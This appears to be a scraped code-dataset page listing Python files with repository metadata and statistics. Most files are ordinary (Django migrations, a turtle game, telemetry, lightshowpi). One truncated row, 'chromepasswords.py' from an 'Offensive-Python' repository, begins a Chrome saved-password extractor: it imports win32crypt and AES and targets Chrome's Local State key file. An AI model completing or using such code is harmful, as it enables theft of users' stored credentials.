"MIT"
] | null | null | null | chromepasswords.py | BrianBarakaKasamba/Offensive-Python | 04af08ba49d5f5d81c84183a67418f70d0dbc4b4 | [
"MIT"
] | null | null | null | #Full Credits to #
import os
import re
import sys
import json
import base64
import sqlite3
import win32crypt
from Cryptodome.Cipher import AES
import shutil
import csv
#GLOBAL CONSTANT
CHROME_PATH_LOCAL_STATE = os.path.normpath(r"%s\AppData\Local\Google\Chrome\User Data\Local State"%(os.environ['USERPROFI... | 44.653846 | 128 | 0.594315 | 538 | 4,644 | 4.966543 | 0.310409 | 0.047156 | 0.028069 | 0.031811 | 0.195734 | 0.147081 | 0.12238 | 0.080838 | 0.080838 | 0.080838 | 0 | 0.014321 | 0.308355 | 4,644 | 103 | 129 | 45.087379 | 0.817559 | 0.13932 | 0 | 0.166667 | 0 | 0 | 0.141125 | 0.023736 | 0 | 0 | 0 | 0 | 0 | 1 | 0.064103 | false | 0.153846 | 0.128205 | 0.025641 | 0.294872 | 0.141026 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
739066bf9eaa7a38ebe71aa0e864550eb8f13243 | 1,907 | py | Python | src/tools/perf/measurements/loading.py | topcoat/topcoat-grunt-telemetry | 8e5ef42038bcfdbc440087c3ffcecb7c4dff9336 | [
"Apache-2.0"
] | 2 | 2015-11-05T15:03:09.000Z | 2015-11-30T03:29:50.000Z | src/tools/perf/measurements/loading.py | topcoat/topcoat-grunt-telemetry | 8e5ef42038bcfdbc440087c3ffcecb7c4dff9336 | [
"Apache-2.0"
] | null | null | null | src/tools/perf/measurements/loading.py | topcoat/topcoat-grunt-telemetry | 8e5ef42038bcfdbc440087c3ffcecb7c4dff9336 | [
"Apache-2.0"
] | null | null | null | # Copyright (c) 2012 The Chromium Authors. All rights reserved.
# Use of this source code is governed by a BSD-style license that can be
# found in the LICENSE file.
import collections
from telemetry.core import util
from telemetry.page import page_measurement
class Loading(page_measurement.PageMeasurement):
@prop... | 35.314815 | 80 | 0.711064 | 246 | 1,907 | 5.345528 | 0.48374 | 0.045627 | 0.022814 | 0.045627 | 0.079087 | 0 | 0 | 0 | 0 | 0 | 0 | 0.008371 | 0.185632 | 1,907 | 53 | 81 | 35.981132 | 0.838377 | 0.198741 | 0 | 0.055556 | 0 | 0 | 0.135526 | 0.070395 | 0 | 0 | 0 | 0.018868 | 0 | 1 | 0.111111 | false | 0 | 0.083333 | 0.055556 | 0.277778 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
7398a1b0dae6e1b8fd2855140d0c320468b536a8 | 1,137 | py | Python | src/biokbase/narrative/common/url_config.py | landml/narrative | cba96a208a2d1396f68880252a8438ee98eae14f | [
"MIT"
] | null | null | null | src/biokbase/narrative/common/url_config.py | landml/narrative | cba96a208a2d1396f68880252a8438ee98eae14f | [
"MIT"
] | null | null | null | src/biokbase/narrative/common/url_config.py | landml/narrative | cba96a208a2d1396f68880252a8438ee98eae14f | [
"MIT"
] | null | null | null | import os
import json
from util import kbase_env
class Struct:
def __init__(self, **args):
self._urls = {}
self._urls.update(args)
def get_url(self, key):
return self._urls.get(key, None)
def __getattr__(self, key):
return self._urls.get(key, None)
def __str__(self)... | 26.44186 | 75 | 0.619173 | 147 | 1,137 | 4.52381 | 0.414966 | 0.07218 | 0.090226 | 0.150376 | 0.165414 | 0.102256 | 0.102256 | 0.102256 | 0.102256 | 0 | 0 | 0.014806 | 0.227792 | 1,137 | 42 | 76 | 27.071429 | 0.742597 | 0.009675 | 0 | 0.117647 | 0 | 0 | 0.264235 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.147059 | false | 0 | 0.088235 | 0.117647 | 0.382353 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 1 |
73aa08302ea8b7ed4be97748ecba9b7a73ae5ec8 | 2,032 | py | Python | utils/analyze_tcptrace_sum.py | yiannisy/behop-misc | 75290bafaa1acc312a0d9eea06ddeb1d94cf48da | [
"MIT"
] | null | null | null | utils/analyze_tcptrace_sum.py | yiannisy/behop-misc | 75290bafaa1acc312a0d9eea06ddeb1d94cf48da | [
"MIT"
] | null | null | null | utils/analyze_tcptrace_sum.py | yiannisy/behop-misc | 75290bafaa1acc312a0d9eea06ddeb1d94cf48da | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import string,sys
import re
from optparse import OptionParser
def analyze_tcptrace(fname_in,fname_out):
f = open(fname_in,'r')
for line in f.readlines()[7:]:
if line.find('unidirectional') != -1:
continue
p = re.compile(r'(\w+.\w+.\w+.\w+):\w+ - (\w+.\w+.\w+.\w... | 36.285714 | 88 | 0.507382 | 263 | 2,032 | 3.703422 | 0.323194 | 0.020534 | 0.027721 | 0.032854 | 0.093429 | 0.054415 | 0.011294 | 0.011294 | 0.011294 | 0.011294 | 0 | 0.018854 | 0.347441 | 2,032 | 55 | 89 | 36.945455 | 0.715686 | 0.009843 | 0 | 0.061224 | 0 | 0.020408 | 0.164097 | 0.020885 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.061224 | null | null | 0.081633 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
73ab95652c424855c7dc65f7b9e57be280ea9f2b | 313 | py | Python | rootfs/usr/lib/python3/dist-packages/numpy/ma/version.py | kappaIO-Dev/kappaIO-sdk-armhf-crosscompile | 66fc5fc21e6235f7a3be72a7ccac68e2224b7fb2 | [
"MIT"
] | null | null | null | rootfs/usr/lib/python3/dist-packages/numpy/ma/version.py | kappaIO-Dev/kappaIO-sdk-armhf-crosscompile | 66fc5fc21e6235f7a3be72a7ccac68e2224b7fb2 | [
"MIT"
] | 1 | 2018-04-15T22:59:15.000Z | 2018-04-15T22:59:15.000Z | rootfs/usr/lib/python3/dist-packages/numpy/ma/version.py | kappaIO-Dev/kappaIO-sdk-armhf-crosscompile | 66fc5fc21e6235f7a3be72a7ccac68e2224b7fb2 | [
"MIT"
] | null | null | null | """Version number"""
version = '1.00'
release = False
if not release:
from . import core
from . import extras
revision = [core.__revision__.split(':')[-1][:-1].strip(),
extras.__revision__.split(':')[-1][:-1].strip(),]
version += '.dev%04i' % max([int(rev) for rev in revision])
| 26.083333 | 65 | 0.578275 | 39 | 313 | 4.435897 | 0.564103 | 0.115607 | 0.16185 | 0.17341 | 0.231214 | 0 | 0 | 0 | 0 | 0 | 0 | 0.036437 | 0.210863 | 313 | 11 | 66 | 28.454545 | 0.663968 | 0.044728 | 0 | 0 | 0 | 0 | 0.047782 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.25 | 0 | 0.25 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
73b835566e365330247f9b0ac9080be8dfc5661f | 397 | py | Python | coursedashboards/migrations/0011_auto_20171219_2127.py | uw-it-aca/course-dashboards | 0f195f7233fc8e24e9ca0d2624ca288869e133ba | [
"Apache-2.0"
] | 1 | 2018-04-05T19:00:27.000Z | 2018-04-05T19:00:27.000Z | coursedashboards/migrations/0011_auto_20171219_2127.py | uw-it-aca/course-dashboards | 0f195f7233fc8e24e9ca0d2624ca288869e133ba | [
"Apache-2.0"
] | 188 | 2017-08-31T23:38:23.000Z | 2022-03-29T18:06:00.000Z | coursedashboards/migrations/0011_auto_20171219_2127.py | uw-it-aca/course-dashboards | 0f195f7233fc8e24e9ca0d2624ca288869e133ba | [
"Apache-2.0"
] | null | null | null | # -*- coding: utf-8 -*-
# Generated by Django 1.10.7 on 2017-12-19 21:27
from django.db import migrations
class Migration(migrations.Migration):
dependencies = [
('coursedashboards', '0010_auto_20171025_2100'),
]
operations = [
migrations.AlterIndexTogether(
name='registrat... | 19.85 | 56 | 0.599496 | 40 | 397 | 5.85 | 0.9 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.112628 | 0.261965 | 397 | 19 | 57 | 20.894737 | 0.686007 | 0.171285 | 0 | 0 | 1 | 0 | 0.187117 | 0.070552 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.090909 | 0 | 0.363636 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
73baadabaf1d71145a9090d50a1111a9eab2ec2f | 198 | py | Python | OBI piso.py | Azefalo/Cluble-de-Programacao-UTFPR | f4a457bae36ac61378766035abc0633f5b3492db | [
"MIT"
] | 1 | 2021-04-19T22:42:00.000Z | 2021-04-19T22:42:00.000Z | OBI piso.py | Azefalo/Cluble-de-Programacao-UTFPR | f4a457bae36ac61378766035abc0633f5b3492db | [
"MIT"
] | null | null | null | OBI piso.py | Azefalo/Cluble-de-Programacao-UTFPR | f4a457bae36ac61378766035abc0633f5b3492db | [
"MIT"
] | null | null | null | # https://olimpiada.ic.unicamp.br/pratique/p2/2018/f1/piso/
L = int(input())
C = int(input())
tipo1 = (L * C) + ((L - 1 ) * (C - 1))
tipo2 = (L - 1) * 2 + (C - 1) * 2
print(tipo1)
print(tipo2) | 28.285714 | 60 | 0.530303 | 34 | 198 | 3.088235 | 0.558824 | 0.152381 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.102564 | 0.212121 | 198 | 7 | 61 | 28.285714 | 0.570513 | 0.287879 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.333333 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
73c016167ff37d8a26b64dd1e47a3b370be9a100 | 264 | py | Python | ward_mapping/urls.py | Suraj1127/ward-mapping-application | 53fa39bab875ca47fdab814fd28ea0b7d2086c15 | [
"MIT"
] | 1 | 2019-05-16T04:08:40.000Z | 2019-05-16T04:08:40.000Z | ward_mapping/urls.py | Suraj1127/ward-mapping-application | 53fa39bab875ca47fdab814fd28ea0b7d2086c15 | [
"MIT"
] | null | null | null | ward_mapping/urls.py | Suraj1127/ward-mapping-application | 53fa39bab875ca47fdab814fd28ea0b7d2086c15 | [
"MIT"
] | null | null | null | from django.urls import path
from . import views
urlpatterns = [
path('upload_<int:year>', views.accumulate, name='accumulate'),
path('<int:year>-to-2018', views.index, name='index'),
path('ajax/<int:year>', views.index_asJSON, name='my_ajax_url')
]
| 26.4 | 67 | 0.681818 | 37 | 264 | 4.756757 | 0.513514 | 0.119318 | 0.136364 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.017467 | 0.132576 | 264 | 9 | 68 | 29.333333 | 0.751092 | 0 | 0 | 0 | 0 | 0 | 0.287879 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.285714 | 0 | 0.285714 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
73c07fce83f7e99615398d4c22c78daa2530b6f1 | 2,043 | py | Python | turtle/turtle.py | teamteroid/school-project | 2f5a25935508f958282069e7fd17614f6cfad7e5 | [
"MIT"
] | null | null | null | turtle/turtle.py | teamteroid/school-project | 2f5a25935508f958282069e7fd17614f6cfad7e5 | [
"MIT"
] | null | null | null | turtle/turtle.py | teamteroid/school-project | 2f5a25935508f958282069e7fd17614f6cfad7e5 | [
"MIT"
] | 3 | 2021-09-05T16:23:38.000Z | 2022-02-21T04:16:33.000Z | from tkinter import *
from PIL import ImageTk, Image
import time
import tkinter.messagebox
def game(player1, mainwindow):
window = Toplevel(mainwindow)
window.geometry("600x300")
p1 = PhotoImage(file='./turtle/assets/turtle1.png')
window.iconphoto(False, p1)
window.title("Turtle Game | ... | 31.921875 | 79 | 0.558492 | 221 | 2,043 | 5.149321 | 0.40724 | 0.04833 | 0.050088 | 0.049209 | 0.100176 | 0 | 0 | 0 | 0 | 0 | 0 | 0.065407 | 0.326481 | 2,043 | 63 | 80 | 32.428571 | 0.761628 | 0.010279 | 0 | 0.074074 | 0 | 0 | 0.091978 | 0.04139 | 0 | 0 | 0 | 0.015873 | 0 | 1 | 0.074074 | false | 0 | 0.074074 | 0 | 0.148148 | 0.037037 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
73c202f3657a3cbecda208763a2837652a5a1c5d | 1,173 | py | Python | src/periodic_tasks/migrations/0001_initial.py | modgahead/django-periodic-tasks | 4ffe90c18fb77dce49658b294b7b090b258119a2 | [
"MIT"
] | 2 | 2018-02-25T18:31:59.000Z | 2020-04-30T11:23:57.000Z | src/periodic_tasks/migrations/0001_initial.py | modgahead/django-periodic-tasks | 4ffe90c18fb77dce49658b294b7b090b258119a2 | [
"MIT"
] | null | null | null | src/periodic_tasks/migrations/0001_initial.py | modgahead/django-periodic-tasks | 4ffe90c18fb77dce49658b294b7b090b258119a2 | [
"MIT"
] | 1 | 2020-05-01T09:54:54.000Z | 2020-05-01T09:54:54.000Z | # -*- coding: utf-8 -*-
# Generated by Django 1.11.2 on 2018-02-23 09:50
from __future__ import unicode_literals
from django.db import migrations, models
import periodic_tasks.validators
class Migration(migrations.Migration):
initial = True
dependencies = [
]
operations = [
migrations.Crea... | 39.1 | 166 | 0.641944 | 125 | 1,173 | 5.8 | 0.552 | 0.071724 | 0.049655 | 0.08 | 0.22069 | 0.22069 | 0.118621 | 0.118621 | 0 | 0 | 0 | 0.028509 | 0.222506 | 1,173 | 29 | 167 | 40.448276 | 0.766447 | 0.057971 | 0 | 0 | 1 | 0 | 0.161525 | 0.076225 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.142857 | 0 | 0.333333 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
73c20cc6b10f12f90c25d0836116730e19ead9f2 | 2,550 | py | Python | production/2020-09-11 BlinkyTape boorloader programmer/IcspUtils.py | Blinkinlabs/BlinkyTape | 64bc9d0e70dfecb59820d2ee5c2aa806bb4a88f9 | [
"Apache-2.0"
] | 16 | 2015-01-03T13:47:55.000Z | 2020-11-22T22:11:02.000Z | production/2020-09-11 BlinkyTape boorloader programmer/IcspUtils.py | Blinkinlabs/BlinkyTape | 64bc9d0e70dfecb59820d2ee5c2aa806bb4a88f9 | [
"Apache-2.0"
] | 4 | 2015-03-12T03:52:17.000Z | 2017-10-17T20:24:49.000Z | production/2020-09-11 BlinkyTape boorloader programmer/IcspUtils.py | Blinkinlabs/BlinkyTape | 64bc9d0e70dfecb59820d2ee5c2aa806bb4a88f9 | [
"Apache-2.0"
] | 5 | 2015-03-12T00:49:59.000Z | 2020-11-22T22:11:06.000Z | import subprocess
import time
import optparse
import sys
import cStringIO
def writeFuses(portName, lockFuses, eFuses, hFuses, lFuses, programmer="STK500v1"):
"""
Attempt to write the fuses of the attached Atmega device.
"""
command = [
"avrdude",
"-c", programmer,
"-P", portName,
"-p", "m32u4"... | 23.611111 | 83 | 0.611765 | 323 | 2,550 | 4.795666 | 0.359133 | 0.018076 | 0.012912 | 0.036152 | 0.453196 | 0.343447 | 0.343447 | 0.307295 | 0.307295 | 0.307295 | 0 | 0.022144 | 0.220784 | 2,550 | 107 | 84 | 23.831776 | 0.757423 | 0.011765 | 0 | 0.5 | 0 | 0 | 0.237333 | 0.013333 | 0 | 0 | 0.007111 | 0 | 0 | 0 | null | null | 0.026316 | 0.065789 | null | null | 0.052632 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
73c351c39efb83cece61a93b26d5b1e8f42b4bf9 | 42,405 | py | Python | tests/snapshots/snap_test_introspection.py | commandtab/ariadne | c154b8ed3026e500d1c8dd8d792fa728ce17f6b4 | [
"BSD-3-Clause"
] | 1 | 2019-08-26T09:08:19.000Z | 2019-08-26T09:08:19.000Z | tests/snapshots/snap_test_introspection.py | iamrobmat/ariadne | 3d1647facde2da40fcd600cd15686ff357f74844 | [
"BSD-3-Clause"
] | null | null | null | tests/snapshots/snap_test_introspection.py | iamrobmat/ariadne | 3d1647facde2da40fcd600cd15686ff357f74844 | [
"BSD-3-Clause"
] | 1 | 2019-06-03T13:07:21.000Z | 2019-06-03T13:07:21.000Z | # -*- coding: utf-8 -*-
# snapshottest: v1 - https://goo.gl/zC4yUc
from __future__ import unicode_literals
from snapshottest import Snapshot
snapshots = Snapshot()
snapshots["test_executable_schema_can_be_introspected 1"] = {
"__schema": {
"directives": [
{
"args": [
... | 43.2263 | 383 | 0.296097 | 2,087 | 42,405 | 5.959751 | 0.116914 | 0.101302 | 0.167229 | 0.062229 | 0.686364 | 0.670847 | 0.664094 | 0.589966 | 0.466474 | 0.435922 | 0 | 0.000711 | 0.601722 | 42,405 | 980 | 384 | 43.270408 | 0.735745 | 0.001462 | 0 | 0.634774 | 0 | 0.011317 | 0.281153 | 0.001512 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.002058 | 0 | 0.002058 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
73c70c65162c6361559af6ed3e6e52506e2b7769 | 1,769 | py | Python | TimeWrapper_JE/venv/Lib/site-packages/pip/_vendor/html5lib/treeadapters/genshi.py | JE-Chen/je_old_repo | a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5 | [
"MIT"
] | 548 | 2020-09-20T10:31:50.000Z | 2022-03-31T06:18:04.000Z | TimeWrapper_JE/venv/Lib/site-packages/pip/_vendor/html5lib/treeadapters/genshi.py | JE-Chen/je_old_repo | a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5 | [
"MIT"
] | 55 | 2020-09-07T02:12:51.000Z | 2022-03-23T02:37:42.000Z | TimeWrapper_JE/venv/Lib/site-packages/pip/_vendor/html5lib/treeadapters/genshi.py | JE-Chen/je_old_repo | a8b2f1ac2eec25758bd15b71c64b59b27e0bcda5 | [
"MIT"
] | 239 | 2021-01-28T02:59:53.000Z | 2022-03-29T08:02:17.000Z | from __future__ import absolute_import, division, unicode_literals
from genshi.core import QName, Attrs
from genshi.core import START, END, TEXT, COMMENT, DOCTYPE
def to_genshi(walker):
"""Convert a tree to a genshi tree
:arg walker: the treewalker to use to walk the tree to convert it
:retu... | 32.163636 | 95 | 0.482759 | 197 | 1,769 | 4.299492 | 0.329949 | 0.035419 | 0.042503 | 0.047226 | 0.243211 | 0.210153 | 0.210153 | 0.210153 | 0.146399 | 0.146399 | 0 | 0.012545 | 0.369135 | 1,769 | 54 | 96 | 32.759259 | 0.746416 | 0.08762 | 0 | 0.351351 | 0 | 0 | 0.117532 | 0 | 0 | 0 | 0 | 0.018519 | 0 | 1 | 0.027027 | false | 0.027027 | 0.081081 | 0 | 0.108108 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
73cac017221d424c5b7f2741eb1dda921a01da0c | 16,908 | py | Python | py/synchronized_lights.py | MattDietz/lightshowpi | b8c8798b7e9944295889e39ff470db185579a842 | [
"BSD-2-Clause"
] | null | null | null | py/synchronized_lights.py | MattDietz/lightshowpi | b8c8798b7e9944295889e39ff470db185579a842 | [
"BSD-2-Clause"
] | 2 | 2021-03-26T00:38:54.000Z | 2021-06-02T03:33:44.000Z | py/synchronized_lights.py | MattDietz/lightshowpi | b8c8798b7e9944295889e39ff470db185579a842 | [
"BSD-2-Clause"
] | null | null | null |
# Licensed under the BSD license. See full license in LICENSE file.
# http://www.lightshowpi.com/
#
# Author: Todd Giles (todd@lightshowpi.com)
# Author: Chris Usey (chris.usey@gmail.com)
# Author: Ryan Jennings
# Author: Paul Dunn (dunnsept@gmail.com)
# Author: Tom Enos (tomslick.ca@gmail.com)
"""Play any audio fil... | 35.521008 | 88 | 0.622664 | 2,192 | 16,908 | 4.657391 | 0.242245 | 0.032324 | 0.01146 | 0.008816 | 0.182094 | 0.13635 | 0.104026 | 0.067979 | 0.067979 | 0.052699 | 0 | 0.006152 | 0.298143 | 16,908 | 475 | 89 | 35.595789 | 0.854133 | 0.179028 | 0 | 0.206897 | 0 | 0 | 0.111524 | 0.010984 | 0 | 0 | 0 | 0.004211 | 0 | 0 | null | null | 0.003831 | 0.091954 | null | null | 0.011494 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.